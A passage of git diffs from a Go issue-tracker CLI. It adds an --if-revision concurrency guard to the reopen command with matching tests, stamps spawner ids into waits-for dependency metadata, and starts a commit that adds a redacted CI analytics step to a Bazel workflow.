stdout, stderr, code := env.run(t, "update", issue.ID, "--if-revision", strconv.FormatInt(stale, 10), + "--priority", "3", "--json") + if code != ExitGuardMismatch { + t.Fatalf("exit = %d, want %d\nstdout:\n%s\nstderr:\n%s", code, ExitGuardMismatch, stdout, stderr) + } + assertProxiedPreconditionBody(t, stderr, stale) + got := bdProxiedShow(t, bd, proj.dir, issue.ID) + if got.Priority == 3 { + t.Errorf("stale --if-revision wrote the row: priority = %d", got.Priority) + } + }) + + t.Run("match_applies", func(t *testing.T) { + env.run(t, "update", issue.ID, "--if-revision", strconv.FormatInt(rev, 10), "--priority", "3") + got := bdProxiedShow(t, bd, proj.dir, issue.ID) + if got.Priority != 3 { + t.Fatalf("matching --if-revision did not apply: priority = %d", got.Priority) + } + }) +} + +// TestProxiedServerIfRevisionGuardClose mirrors #7203's embedded close +// coverage against the proxied-server leg. +func TestProxiedServerIfRevisionGuardClose(t *testing.T) { + requireProxiedServerEnv(t) + bd := buildEmbeddedBD(t) + proj := newSharedProxiedProject(t, bd, "pic") + env := crossModeEnv{mode: "proxied", bd: bd, dir: proj.dir, env: bdProxiedEnv(proj.dir)} + + issue := bdProxiedCreate(t, bd, proj.dir, "Guarded proxied close", "--type", "task") + rev := currentRevisionOfProxied(t, bd, proj.dir, issue.ID) + + t.Run("mismatch_refuses_and_leaves_open", func(t *testing.T) { + stale := staleRevisionFor(rev) + stdout, stderr, code := env.run(t, "close", issue.ID, "--if-revision", strconv.FormatInt(stale, 10), "--json") + if code != ExitGuardMismatch { + t.Fatalf("exit = %d, want %d\nstdout:\n%s\nstderr:\n%s", code, ExitGuardMismatch, stdout, stderr) + } + assertProxiedPreconditionBody(t, stderr, stale) + got := bdProxiedShow(t, bd, proj.dir, issue.ID) + if got.Status != types.StatusOpen { + t.Errorf("stale --if-revision close changed status: %s", got.Status) + } + }) + + t.Run("match_closes", func(t *testing.T) { + env.run(t, "close", issue.ID, "--if-revision", strconv.FormatInt(rev, 10)) + got := bdProxiedShow(t, bd, proj.dir, issue.ID) + if got.Status != types.StatusClosed { + t.Fatalf("matching --if-revision did not close: status = %s", got.Status) + } + }) +} + +// TestProxiedServerIfRevisionGuardReopen covers `bd reopen --if-revision` on +// the proxied-server leg: #7203 did not add --if-revision to reopen at all, so +// unlike the other four verbs there is no #7203 embedded-leg sibling to +// mirror here; the direct route's coverage is +// TestEmbeddedIfRevisionReopenGuardDirect and +// TestEmbeddedGCConditionalMatcherDecode. +// +// The already_open_* subtests pin the bee-ghosttrack maintainer-review +// blocker: a stale --if-revision guard on an already-open issue must still +// report exit 13 with a precondition_failed body, not the silent +// already-open no-op. See if_revision_reopen_embedded_test.go for the +// direct-route twin of this same gap. +func TestProxiedServerIfRevisionGuardReopen(t *testing.T) { + requireProxiedServerEnv(t) + bd := buildEmbeddedBD(t) + proj := newSharedProxiedProject(t, bd, "pir") + env := crossModeEnv{mode: "proxied", bd: bd, dir: proj.dir, env: bdProxiedEnv(proj.dir)} + + alreadyOpen := bdProxiedCreate(t, bd, proj.dir, "Guarded proxied reopen (already open)", "--type", "task") + openRev := currentRevisionOfProxied(t, bd, proj.dir, alreadyOpen.ID) + + t.Run("already_open_mismatch_refuses", func(t *testing.T) { + stale := staleRevisionFor(openRev) + stdout, stderr, code := env.run(t, "reopen", alreadyOpen.ID, "--if-revision", strconv.FormatInt(stale, 10), "--json") + if code != ExitGuardMismatch { + t.Fatalf("exit = %d, want %d\nstdout:\n%s\nstderr:\n%s", code, ExitGuardMismatch, stdout, stderr) + } + assertProxiedPreconditionBody(t, stderr, stale) + got := bdProxiedShow(t, bd, proj.dir, alreadyOpen.ID) + if got.Status != types.StatusOpen { + t.Errorf("stale --if-revision reopen of an already-open issue changed status: %s", got.Status) + } + if gotRev := currentRevisionOfProxied(t, bd, proj.dir, alreadyOpen.ID); gotRev != openRev { + t.Errorf("stale --if-revision reopen of an already-open issue advanced the revision: %d, want unchanged %d", gotRev, openRev) + } + }) + + t.Run("already_open_match_is_noop", func(t *testing.T) { + stdout, _, code := env.run(t, "reopen", alreadyOpen.ID, "--if-revision", strconv.FormatInt(openRev, 10)) + if code != 0 { + t.Fatalf("matching --if-revision reopen of an already-open issue should succeed as a no-op, exit = %d\nstdout:\n%s", code, stdout) + } + got := bdProxiedShow(t, bd, proj.dir, alreadyOpen.ID) + if got.Status != types.StatusOpen { + t.Errorf("matching --if-revision reopen of an already-open issue changed status: %s", got.Status) + } + }) + + issue := bdProxiedCreate(t, bd, proj.dir, "Guarded proxied reopen", "--type", "task") + bdProxiedClose(t, bd, proj.dir, issue.ID) + rev := currentRevisionOfProxied(t, bd, proj.dir, issue.ID) + + t.Run("mismatch_refuses_and_leaves_closed", func(t *testing.T) { + stale := staleRevisionFor(rev) + stdout, stderr, code := env.run(t, "reopen", issue.ID, "--if-revision", strconv.FormatInt(stale, 10), "--json") + if code != ExitGuardMismatch { + t.Fatalf("exit = %d, want %d\nstdout:\n%s\nstderr:\n%s", code, ExitGuardMismatch, stdout, stderr) + } + assertProxiedPreconditionBody(t, stderr, stale) + got := bdProxiedShow(t, bd, proj.dir, issue.ID) + if got.Status != types.StatusClosed { + t.Errorf("stale --if-revision reopen changed status: %s", got.Status) + } + }) + + t.Run("match_reopens", func(t *testing.T) { + env.run(t, "reopen", issue.ID, "--if-revision", strconv.FormatInt(rev, 10)) + got := bdProxiedShow(t, bd, proj.dir, issue.ID) + if got.Status != types.StatusOpen { + t.Fatalf("matching --if-revision did not reopen: status = %s", got.Status) + } + }) +} + +// TestProxiedServerIfRevisionGuardDelete mirrors #7203's embedded delete +// coverage against the proxied-server leg. +func TestProxiedServerIfRevisionGuardDelete(t *testing.T) { + requireProxiedServerEnv(t) + bd := buildEmbeddedBD(t) + proj := newSharedProxiedProject(t, bd, "pid") + env := crossModeEnv{mode: "proxied", bd: bd, dir: proj.dir, env: bdProxiedEnv(proj.dir)} + + issue := bdProxiedCreate(t, bd, proj.dir, "Guarded proxied delete", "--type", "task") + rev := currentRevisionOfProxied(t, bd, proj.dir, issue.ID) + + t.Run("mismatch_refuses_and_leaves_issue", func(t *testing.T) { + stale := staleRevisionFor(rev) + stdout, stderr, code := env.run(t, "delete", issue.ID, "--if-revision", strconv.FormatInt(stale, 10), "--force", "--json") + if code != ExitGuardMismatch { + t.Fatalf("exit = %d, want %d\nstdout:\n%s\nstderr:\n%s", code, ExitGuardMismatch, stdout, stderr) + } + assertProxiedPreconditionBody(t, stderr, stale) + bdProxiedShow(t, bd, proj.dir, issue.ID) + }) + + t.Run("match_deletes", func(t *testing.T) { + stdout, stderr, code := env.run(t, "delete", issue.ID, "--if-revision", strconv.FormatInt(rev, 10), "--force") + if code != 0 { + t.Fatalf("matching --if-revision delete failed: exit %d\nstdout:\n%s\nstderr:\n%s", code, stdout, stderr) + } + if _, _, code := env.run(t, "show", issue.ID); code == 0 { + t.Errorf("issue %s still resolves after matching --if-revision delete", issue.ID) + } + }) +} + +// TestProxiedServerIfRevisionGuardAssign mirrors #7203's embedded assign +// coverage against the proxied-server leg. +func TestProxiedServerIfRevisionGuardAssign(t *testing.T) { + requireProxiedServerEnv(t) + bd := buildEmbeddedBD(t) + proj := newSharedProxiedProject(t, bd, "pia") + env := crossModeEnv{mode: "proxied", bd: bd, dir: proj.dir, env: bdProxiedEnv(proj.dir)} + + issue := bdProxiedCreate(t, bd, proj.dir, "Guarded proxied assign", "--type", "task") + rev := currentRevisionOfProxied(t, bd, proj.dir, issue.ID) + + t.Run("mismatch_refuses_and_leaves_unassigned", func(t *testing.T) { + stale := staleRevisionFor(rev) + stdout, stderr, code := env.run(t, "assign", issue.ID, "alice", "--if-revision", strconv.FormatInt(stale, 10), "--json") + if code != ExitGuardMismatch { + t.Fatalf("exit = %d, want %d\nstdout:\n%s\nstderr:\n%s", code, ExitGuardMismatch, stdout, stderr) + } + assertProxiedPreconditionBody(t, stderr, stale) + got := bdProxiedShow(t, bd, proj.dir, issue.ID) + if got.Assignee != "" { + t.Errorf("stale --if-revision assign wrote the row: assignee = %q", got.Assignee) + } + }) + + t.Run("match_assigns", func(t *testing.T) { + env.run(t, "assign", issue.ID, "alice", "--if-revision", strconv.FormatInt(rev, 10)) + got := bdProxiedShow(t, bd, proj.dir, issue.ID) + if got.Assignee != "alice" { + t.Fatalf("matching --if-revision did not assign: assignee = %q", got.Assignee) + } + }) +} diff --git a/cmd/bd/if_revision_reopen_embedded_test.go b/cmd/bd/if_revision_reopen_embedded_test.go new file mode 100644 index 000000000..016cc2bae --- /dev/null +++ b/cmd/bd/if_revision_reopen_embedded_test.go @@ -0,0 +1,99 @@ +//go:build cgo + +package main + +import ( + "os" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/types" +) + +// if_revision_reopen_embedded_test.go pins the bee-ghosttrack maintainer-review +// blocker on `bd reopen --if-revision`'s direct (non-proxied) route: reopen.go +// used to run its "issue.Status == types.StatusOpen" already-open short-circuit +// unconditionally, BEFORE ops.Reopen ever got a chance to evaluate +// ExpectedVersion (ExecuteReopen -> CheckVersionInTx). That meant a stale +// --if-revision guard against an already-open issue silently returned the +// "already open" no-op (exit 0) instead of the precondition_failed refusal +// (exit 13) every other guarded verb gives for a stale token -- see +// TestEmbeddedGCConditionalMatcherDecode's reopen_open row for the same +// refusal pinned from the gc-matcher angle. +// +// TestProxiedServerIfRevisionGuardReopen +// (if_revision_proxied_integration_test.go) is this file's proxied-server-leg +// twin. The TestEmbedded name is what puts this test in a CI lane +// (.github/scripts/embedded-test-shard.sh); under any other name it skips +// everywhere. +func TestEmbeddedIfRevisionReopenGuardDirect(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "irr") + + t.Run("already_open_mismatch_refuses", func(t *testing.T) { + issue := bdCreate(t, bd, dir, "Guarded reopen (already open)", "--type", "task") + rev := bdShowRevision(t, bd, dir, issue.ID) + stale := rev + 1_000_000 + + out, code := bdRunFailCode(t, bd, dir, "reopen", issue.ID, "--if-revision", revStr(stale), "--json") + if code != ExitGuardMismatch { + t.Fatalf("stale --if-revision reopen of an already-open issue exit = %d, want %d\n%s", code, ExitGuardMismatch, out) + } + if got := bdShow(t, bd, dir, issue.ID); got.Status != types.StatusOpen { + t.Errorf("stale --if-revision reopen of an already-open issue changed status: %s", got.Status) + } + if got := bdShowRevision(t, bd, dir, issue.ID); got != rev { + t.Errorf("stale --if-revision reopen of an already-open issue advanced the revision: %d, want unchanged %d", got, rev) + } + }) + + t.Run("already_open_match_is_noop", func(t *testing.T) { + issue := bdCreate(t, bd, dir, "Guarded reopen (already open, matching)", "--type", "task") + rev := bdShowRevision(t, bd, dir, issue.ID) + + out := bdRunOK(t, bd, dir, "reopen", issue.ID, "--if-revision", revStr(rev)) + if !strings.Contains(out, issue.ID+" is already open") { + t.Errorf("matching --if-revision reopen of an already-open issue lacks the already-open no-op line:\n%s", out) + } + if got := bdShow(t, bd, dir, issue.ID); got.Status != types.StatusOpen { + t.Errorf("matching --if-revision reopen of an already-open issue changed status: %s\noutput:\n%s", got.Status, out) + } + if got := bdShowRevision(t, bd, dir, issue.ID); got != rev { + t.Errorf("matching --if-revision reopen of an already-open issue advanced the revision: %d, want unchanged %d", got, rev) + } + }) + + t.Run("closed_mismatch_refuses", func(t *testing.T) { + issue := bdCreate(t, bd, dir, "Guarded reopen (closed, mismatch)", "--type", "task") + bdClose(t, bd, dir, issue.ID) + rev := bdShowRevision(t, bd, dir, issue.ID) + stale := rev + 1_000_000 + + out, code := bdRunFailCode(t, bd, dir, "reopen", issue.ID, "--if-revision", revStr(stale), "--json") + if code != ExitGuardMismatch { + t.Fatalf("stale --if-revision reopen of a closed issue exit = %d, want %d\n%s", code, ExitGuardMismatch, out) + } + if got := bdShow(t, bd, dir, issue.ID); got.Status != types.StatusClosed { + t.Errorf("stale --if-revision reopen of a closed issue changed status: %s", got.Status) + } + if got := bdShowRevision(t, bd, dir, issue.ID); got != rev { + t.Errorf("stale --if-revision reopen of a closed issue advanced the revision: %d, want unchanged %d", got, rev) + } + }) + + t.Run("closed_match_reopens", func(t *testing.T) { + issue := bdCreate(t, bd, dir, "Guarded reopen (closed, matching)", "--type", "task") + bdClose(t, bd, dir, issue.ID) + rev := bdShowRevision(t, bd, dir, issue.ID) + + bdRunOK(t, bd, dir, "reopen", issue.ID, "--if-revision", revStr(rev)) + if got := bdShow(t, bd, dir, issue.ID); got.Status != types.StatusOpen { + t.Fatalf("matching --if-revision reopen of a closed issue did not reopen: status = %s", got.Status) + } + }) +} diff --git a/cmd/bd/proxied_lookup_failure_test.go b/cmd/bd/proxied_lookup_failure_test.go index 5aa7d1e9f..35b8dfd4d 100644 --- a/cmd/bd/proxied_lookup_failure_test.go +++ b/cmd/bd/proxied_lookup_failure_test.go @@ -239,7 +239,7 @@ var proxiedLookupCommands = []struct { { name: "reopen", run: func(ctx context.Context) error { - return runReopenProxiedServer(&cobra.Command{}, ctx, []string{stubMissingID}) + return runReopenProxiedServer(&cobra.Command{}, ctx, []string{stubMissingID}, nil) }, wantNotFound: "Issue " + stubMissingID + " not found\nHint: " + showNotFoundHint(stubMissingID), wantHardErr: "Error resolving bd-missing: connection reset by peer", diff --git a/cmd/bd/reopen.go b/cmd/bd/reopen.go index 700800b57..6bdb3f7cd 100644 --- a/cmd/bd/reopen.go +++ b/cmd/bd/reopen.go @@ -17,7 +17,11 @@ var reopenCmd = &cobra.Command{ GroupID: "issues", Short: "Reopen one or more closed issues", Long: `Reopen closed issues by setting status to 'open' and clearing the closed_at timestamp. -This is more explicit than 'bd update --status open' and emits a Reopened event.`, +This is more explicit than 'bd update --status open' and emits a Reopened event. + +Exit codes: 1 for general failures; 13 when the failure is a stale +--if-revision guard (the precondition no longer held, nothing was written — +another actor won the race, so retrying the same guard is pointless).`, Args: cobra.MinimumNArgs(1), SilenceUsage: true, SilenceErrors: true, @@ -31,8 +35,20 @@ This is more explicit than 'bd update --status open' and emits a Reopened event. } }() + // beads#4682: an independent OCC precondition on the single issue it + // names, so (unlike the batch of ids this command otherwise accepts) + // it requires exactly one target — same rule update/close/delete + // enforce via requireSingleIfRevisionID. + ifRevision, err := parseIfRevisionFlag(cmd) + if err != nil { + return err + } + if err := requireSingleIfRevisionID(ifRevision, args); err != nil { + return err + } + if usesProxiedServer() { - return runReopenProxiedServer(cmd, rootCtx, args) + return runReopenProxiedServer(cmd, rootCtx, args, ifRevision) } reason, _ := cmd.Flags().GetString("reason") @@ -61,7 +77,13 @@ This is more explicit than 'bd update --status open' and emits a Reopened event. issueStore := result.Store issue := result.Issue - if issue.Status == types.StatusOpen { + // An active --if-revision guard must be evaluated before this + // already-open short-circuit: ops.Reopen below checks + // ExpectedVersion first (ExecuteReopen -> CheckVersionInTx), so a + // stale revision on an already-open issue still reports exit 13 + // instead of silently returning the "already open" no-op here. + // Without --if-revision, today's pre-check stands unchanged. + if ifRevision == nil && issue.Status == types.StatusOpen { fmt.Fprintln(os.Stderr, reopenNoOpMessage(fullID, types.StatusOpen)) result.Close() continue @@ -74,15 +96,26 @@ This is more explicit than 'bd update --status open' and emits a Reopened event. continue } reopened, err := ops.Reopen(opsCtx, issueops.ReopenRequest{ - Actor: actor, - IssueID: fullID, - Reason: reason, + Actor: actor, + IssueID: fullID, + Reason: reason, + ExpectedVersion: ifRevision, // Names the issue for the reason `bd close`'s does, and keeps // the entry identical across backends: the proxied route // already writes "bd: reopen ". Provenance: "bd: reopen " + fullID, }) if err != nil { + // Only a guarded reopen reports through the conditional-write + // envelope: the classifier maps storage.ErrNotFound to + // precondition_failed, which an unguarded reopen racing a + // delete must not claim. + if ifRevision != nil { + if reported, ok := reportIfRevisionFailure("reopening", fullID, err, ifRevision); ok { + result.Close() + return reported + } + } fmt.Fprintf(os.Stderr, "Error reopening %s: %v\n", fullID, err) hasError = true result.Close() @@ -170,6 +203,10 @@ func reopenStatusOf(post, pre *types.Issue) types.Status { func init() { reopenCmd.Flags().StringP("reason", "r", "", "Reason for reopening") + // beads#4682: not part of #7203's original four verbs (update/close/ + // assign/delete); reopen gets the same guard since it is the same kind + // of single-id lifecycle write. + reopenCmd.Flags().String("if-revision", "", ifRevisionFlagHelp) reopenCmd.ValidArgsFunction = issueIDCompletion rootCmd.AddCommand(reopenCmd) } diff --git a/cmd/bd/reopen_proxied_server.go b/cmd/bd/reopen_proxied_server.go index b57dbaf8b..a9fadd638 100644 --- a/cmd/bd/reopen_proxied_server.go +++ b/cmd/bd/reopen_proxied_server.go @@ -40,7 +40,7 @@ type reopenProxiedTarget struct { // ONE CALL PER ID, so one transaction and one history entry per id, where this // route used to run every id in one unit of work under a hand-composed // "bd: reopen a, b" message. -func runReopenProxiedServer(cmd *cobra.Command, ctx context.Context, args []string) error { +func runReopenProxiedServer(cmd *cobra.Command, ctx context.Context, args []string, ifRevision *int64) error { if len(args) == 0 { return HandleErrorRespectJSON("no issue ID provided") } @@ -66,14 +66,22 @@ func runReopenProxiedServer(cmd *cobra.Command, ctx context.Context, args []stri reopenedIssues := []*types.Issue{} for _, target := range targets { result, err := lifecycle.Reopen(ctx, issueops.ReopenRequest{ - Actor: actor, - IssueID: target.id, - Reason: reason, + Actor: actor, + IssueID: target.id, + Reason: reason, + ExpectedVersion: ifRevision, // The label the direct route spells, so one reopen reads the same // in `bd dolt log` whichever route served it. Provenance: "bd: reopen " + target.id, }) if err != nil { + // Guarded only, as on the direct route: an unguarded reopen that + // loses a race with a delete is a lookup failure, not a refusal. + if ifRevision != nil { + if reported, ok := reportIfRevisionFailure("reopening", target.id, err, ifRevision); ok { + return reported + } + } reportIssueLookupFailure("reopening", target.id, err) hasError = true continue diff --git a/internal/storage/dolt/batch_apply_contract_test.go b/internal/storage/dolt/batch_apply_contract_test.go index afb3347ea..7c32d9a37 100644 --- a/internal/storage/dolt/batch_apply_contract_test.go +++ b/internal/storage/dolt/batch_apply_contract_test.go @@ -175,6 +175,11 @@ func TestBatchApplyContract(t *testing.T) { defer cancel() conformance.RunBatchApplyNormalizesTheWaitsForGate(t, ctx, fixture) }) + t.Run("StampsSpawnerIDOnlyWhenNamed", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() + conformance.RunBatchApplyStampsSpawnerIDOnlyWhenNamed(t, ctx, fixture) + }) t.Run("SplicesAForwardMetadataRef", func(t *testing.T) { ctx, cancel := testContext(t) defer cancel() diff --git a/internal/storage/embeddeddolt/batch_apply_contract_test.go b/internal/storage/embeddeddolt/batch_apply_contract_test.go index 439bc1584..3ed6724a9 100644 --- a/internal/storage/embeddeddolt/batch_apply_contract_test.go +++ b/internal/storage/embeddeddolt/batch_apply_contract_test.go @@ -113,6 +113,9 @@ func TestBatchApplyContract(t *testing.T) { t.Run("NormalizesTheWaitsForGate", func(t *testing.T) { conformance.RunBatchApplyNormalizesTheWaitsForGate(t, ctx, fixture) }) + t.Run("StampsSpawnerIDOnlyWhenNamed", func(t *testing.T) { + conformance.RunBatchApplyStampsSpawnerIDOnlyWhenNamed(t, ctx, fixture) + }) t.Run("SplicesAForwardMetadataRef", func(t *testing.T) { conformance.RunBatchApplySplicesAForwardMetadataRef(t, ctx, fixture) }) diff --git a/internal/storage/issueops/batch_apply.go b/internal/storage/issueops/batch_apply.go index 59dec2a1c..bd6a251d1 100644 --- a/internal/storage/issueops/batch_apply.go +++ b/internal/storage/issueops/batch_apply.go @@ -370,11 +370,20 @@ func (r *applyBatchRun) applyDepAdd(ctx context.Context, tx *sql.Tx, index int, } sourceTable, _, eventTable, depTable := WispTableRouting(sourceWisp) + metadata := item.Metadata + if item.HasSpawner { + metadata, err = StampWaitsForSpawnerID(item.Type, item.Metadata, target) + if err != nil { + return itemErr(fmt.Errorf("%w: %v", publicops.ErrValidation, err)) + } + } + dep := &types.Dependency{ IssueID: source, DependsOnID: target, Type: item.Type, - Metadata: item.Metadata, + Metadata: metadata, + ThreadID: item.ThreadID, } eventWritten, err := AddDependencyInTx(ctx, tx, dep, r.plan.Actor, AddDependencyOpts{ SourceTable: sourceTable, @@ -411,6 +420,43 @@ func (r *applyBatchRun) applyDepAdd(ctx context.Context, tx *sql.Tx, index int, return nil } +// StampWaitsForSpawnerID fills a waits-for edge's metadata with the spawner id +// this item resolved, AFTER every id this request mints exists. +// +// A GRAPH PLAN'S SPAWNER IS ALWAYS THE EDGE'S OWN TARGET — the caller cannot +// spell a waits-for item any other way, since the planner above this role +// forces spawner_key/spawner_id to match to_key/to_id before the request ever +// reaches a transaction. So the resolved target this item just computed IS the +// spawner id, known or not at the time the caller built the request: a +// plan-local Ref.Key names a row this very request is minting, and its id does +// not exist until the create item ahead of this one in Items runs. Stamping it +// here, after resolve, is what lets a waits-for edge name a same-batch spawner +// by key at all — item.Metadata alone has no way to carry an id nothing had +// minted yet. +// +// metadata.spawner_id is otherwise redundant with dependencies.depends_on_id +// (NewGraphEdgeDependency's doc states gate evaluation reads the column, never +// the blob) and this keeps it from drifting from that column regardless of +// what a caller's Metadata happened to say. +func StampWaitsForSpawnerID(depType types.DependencyType, metadata, target string) (string, error) { + if depType != types.DepWaitsFor { + return metadata, nil + } + meta := types.WaitsForMeta{} + trimmed := strings.TrimSpace(metadata) + if trimmed != "" { + if err := json.Unmarshal([]byte(trimmed), &meta); err != nil { + return "", fmt.Errorf("waits-for metadata is not a well-formed gate object: %w", err) + } + } + meta.SpawnerID = target + raw, err := json.Marshal(meta) + if err != nil { + return "", fmt.Errorf("serializing waits-for metadata: %w", err) + } + return string(raw), nil +} + // spliceMetadataRefs writes the resolved ids into the metadata of the create // items that asked for them, AFTER every id in the request exists. // diff --git a/internal/storage/uow/batch_applier.go b/internal/storage/uow/batch_applier.go index aba391947..9c41e1ae6 100644 --- a/internal/storage/uow/batch_applier.go +++ b/internal/storage/uow/batch_applier.go @@ -462,11 +462,19 @@ func (r *uowApplyRun) applyDepAdd(ctx context.Context, index int, item *publicop if err != nil { return itemErr(err) } + metadata := item.Metadata + if item.HasSpawner { + metadata, err = storageissueops.StampWaitsForSpawnerID(item.Type, item.Metadata, target) + if err != nil { + return itemErr(fmt.Errorf("%w: %v", publicops.ErrValidation, err)) + } + } dep := &types.Dependency{ IssueID: source, DependsOnID: target, Type: item.Type, - Metadata: item.Metadata, + Metadata: metadata, + ThreadID: item.ThreadID, } if _, err := r.uw.DependencyUseCase().AddDependencies(ctx, []*types.Dependency{dep}, r.plan.Actor, domain.BulkAddDepsOpts{ SkipPerEdgeCycleCheck: r.plan.SkipPerEdgeCycleCheck, diff --git a/internal/storage/uow/batch_apply_contract_test.go b/internal/storage/uow/batch_apply_contract_test.go index 255a7c879..d49656b44 100644 --- a/internal/storage/uow/batch_apply_contract_test.go +++ b/internal/storage/uow/batch_apply_contract_test.go @@ -115,6 +115,9 @@ func TestBatchApplyContract(t *testing.T) { t.Run("NormalizesTheWaitsForGate", func(t *testing.T) { conformance.RunBatchApplyNormalizesTheWaitsForGate(t, ctx, fixture) }) + t.Run("StampsSpawnerIDOnlyWhenNamed", func(t *testing.T) { + conformance.RunBatchApplyStampsSpawnerIDOnlyWhenNamed(t, ctx, fixture) + }) t.Run("SplicesAForwardMetadataRef", func(t *testing.T) { conformance.RunBatchApplySplicesAForwardMetadataRef(t, ctx, fixture) }) diff --git a/issueops/batchapplier.go b/issueops/batchapplier.go index 8eff362fb..39889926e 100644 --- a/issueops/batchapplier.go +++ b/issueops/batchapplier.go @@ -219,6 +219,27 @@ type DepAddItem struct { // members — a spawner, an also-blocks flag — a two-field typed member could // not express. One spelling, and it is this one. Metadata string + // HasSpawner marks a DepWaitsFor edge whose caller explicitly named a + // spawner (bd create --graph's edges[].spawner_key/spawner_id, which the + // CLI's own plan validator already forces to equal this edge's own + // Target). Only then does the role stamp Metadata's spawner_id from the + // resolved Target, once every id in the batch exists (see + // StampWaitsForSpawnerID) — a plan-local spawner key cannot be resolved + // any earlier than that. + // + // AN EDGE WITH NO NAMED SPAWNER MUST KEEP ITS GATE-ONLY METADATA. Stamping + // one in regardless of this flag — the 2026-10 Opus-review HIGH-2 finding + // — produces metadata an unspawnered edge's caller never asked for, which + // is a stored row a later re-apply of the same plan (e.g. by gc) will see + // disagree with what it sent, causing a spurious rewrite and version + // churn the role must not manufacture on its own. Ignored for every other + // Type. + HasSpawner bool + // ThreadID carries conversation-threading metadata (e.g. a replies-to + // edge's originating thread) onto the created dependency row. Empty means + // the edge carries none; it is a plain column, not part of Metadata's + // type-specific blob. + ThreadID string } // ApplyItem is ONE item of a batch: a kind plus exactly one member matching it. From 57e86a2f0d57e69a3f1f4b10bb8f89d0f5397c75 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 09:07:24 +0000 Subject: [PATCH 150/325] ci(bazel): add CI analytics extraction to all lanes (S3) (#7356) tools/bazel/ci_analytics_extract.py turns a lane's BEP file, compact execution log and JSON profile into a redacted ci-analytics-summary (timing, per-mnemonic cache classes, cold actions, test results, repo-fetch time): only validated labels, mnemonics, enums and numbers leave the runner, never an endpoint, cert/key path, env value, token or hostname. Every lane's "CI analytics summary" step runs the extractor and uploads its output as ci-analytics-- (7-day retention); CHECK_RUN_ID uses the real job.check_run_id context (requires actionlint >= 1.7.8), and both the summary and upload steps are continue-on-error, the summary capped at timeout-minutes: 3, and both gated on !cancelled() (not always(), which also runs after a workflow cancellation). The extractor, its 62-case unittest file, and testdata/ci_analytics/ (the real/* Bazel 9.2.0 fixtures, poisoned-bep.json, mismatch.bep.jsonl and regen.sh) are vendored byte-identical from gascity's ci/analytics-extractor slice (final squashed commit 00161373bc7bbfcef8d6a05ac5ce70409fc7f2ac), which is canonical for this pair the same way tools/rbe/cache-zstd-probe.sh is a byte copy. Fixtures are regenerated under env -i with every BEP field stripped unless it's on an explicit allowlist, and the compact exec log is committed decompressed (*.binpb) rather than as a zstd frame, so nothing opaque reaches version control. scripts/ci_analytics_extract_test.go is the thin Go wrapper: TestCIAnalyticsExtractorIsPinnedToGascity pins both vendored files' sha256 so local drift is caught, and TestCIAnalyticsExtractUnitTests runs gascity's unittest file in place. scripts/ci_analytics_workflow_test.go's TestCIAnalyticsStepsAreSafeAndBounded mirrors gascity's pin test, adapted to beads' 8 separately-named lane jobs: continue-on-error, timeout-minutes bounds, no raw ${{ }} expression in run:, !cancelled() required in if:, correct per-lane upload artifact name/path, and CHECK_RUN_ID == ${{ job.check_run_id }}, for every lane. Co-authored-by: Claude Sonnet 5 --- .github/workflows/bazel.yml | 315 +++- scripts/BUILD.bazel | 2 + scripts/ci_analytics_extract_test.go | 150 ++ scripts/ci_analytics_workflow_test.go | 282 ++++ scripts/ci_merge_queue_test.go | 13 + scripts/ci_workflow_test.go | 62 +- scripts/pr_lanes_bazel_coverage_test.go | 24 +- tools/bazel/ci_analytics_extract.py | 1276 +++++++++++++++ tools/bazel/ci_analytics_extract_test.py | 1429 +++++++++++++++++ .../testdata/ci_analytics/mismatch.bep.jsonl | 3 + .../testdata/ci_analytics/poisoned-bep.json | 8 + .../testdata/ci_analytics/real/cold-bep.json | 12 + .../ci_analytics/real/cold-exec.binpb | 549 +++++++ .../ci_analytics/real/cold-profile.json | 170 ++ .../ci_analytics/real/postclean-bep.json | 12 + .../ci_analytics/real/postclean-exec.binpb | 567 +++++++ tools/bazel/testdata/ci_analytics/regen.sh | 325 ++++ 17 files changed, 5186 insertions(+), 13 deletions(-) create mode 100644 scripts/ci_analytics_extract_test.go create mode 100644 scripts/ci_analytics_workflow_test.go create mode 100644 tools/bazel/ci_analytics_extract.py create mode 100644 tools/bazel/ci_analytics_extract_test.py create mode 100644 tools/bazel/testdata/ci_analytics/mismatch.bep.jsonl create mode 100644 tools/bazel/testdata/ci_analytics/poisoned-bep.json create mode 100644 tools/bazel/testdata/ci_analytics/real/cold-bep.json create mode 100644 tools/bazel/testdata/ci_analytics/real/cold-exec.binpb create mode 100644 tools/bazel/testdata/ci_analytics/real/cold-profile.json create mode 100644 tools/bazel/testdata/ci_analytics/real/postclean-bep.json create mode 100644 tools/bazel/testdata/ci_analytics/real/postclean-exec.binpb create mode 100755 tools/bazel/testdata/ci_analytics/regen.sh diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 4b74bd4a0..44f3de19a 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -785,6 +785,8 @@ jobs: bazel test //... --config=ci ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} \ --profile="$RUNNER_TEMP/bazel-profile.json" \ --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ + --execution_log_compact_file="$RUNNER_TEMP/bazel-exec.log.zst" \ + --experimental_build_event_upload_strategy=local \ 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? echo "bazel test: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" echo >> "$GITHUB_STEP_SUMMARY" @@ -919,6 +921,42 @@ jobs: path: ${{ runner.temp }}/bazel-ci-cache key: bazel-repo-v3-${{ runner.os }}-${{ hashFiles('.bazelversion', 'MODULE.bazel.lock') }} + # A redacted, schema'd summary of this invocation's BEP, exec log and + # profile: timing, per-mnemonic cache classes, cold actions, test + # results, repo-fetch time. tools/bazel/ci_analytics_extract.py reads + # only a field whitelist and validates every emitted string, so this + # (unlike the raw BEP file) is safe to upload unredacted; see its + # module docstring. Mirrors gascity's ci/analytics-extractor lane step. + - name: CI analytics summary + id: ci-analytics + if: "!cancelled() && steps.test.outcome != 'skipped'" + continue-on-error: true 